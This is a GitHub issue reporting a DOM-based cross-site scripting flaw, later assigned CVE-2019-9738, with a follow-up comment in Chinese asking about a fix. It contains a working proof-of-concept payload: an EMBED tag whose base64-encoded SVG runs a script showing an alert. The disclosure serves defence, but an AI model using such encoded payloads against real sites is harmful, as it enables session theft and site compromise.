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XSS vulnerability in <EMBED> label,SVG include attack vector. #88

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YYHYlh opened this issue Mar 12, 2019 · 1 comment
Open

XSS vulnerability in <EMBED> label,SVG include attack vector. #88

YYHYlh opened this issue Mar 12, 2019 · 1 comment

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@YYHYlh
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YYHYlh commented Mar 12, 2019

This label and attack vector will cause dom-based XSS.
if you type
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhhYVMiKTs8L3NjcmlwdD48L3N2Zz4=" type="image/svg+xml" AllowScriptAccess="always"></EMBED>,the xss vulnerability will be triggered.

Ai9nCF.png

@NicoleG25
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@jimmykuu
嗨,有没有计划解决此漏洞?
它已经被分配了CVE-2019-9738..
先感谢您

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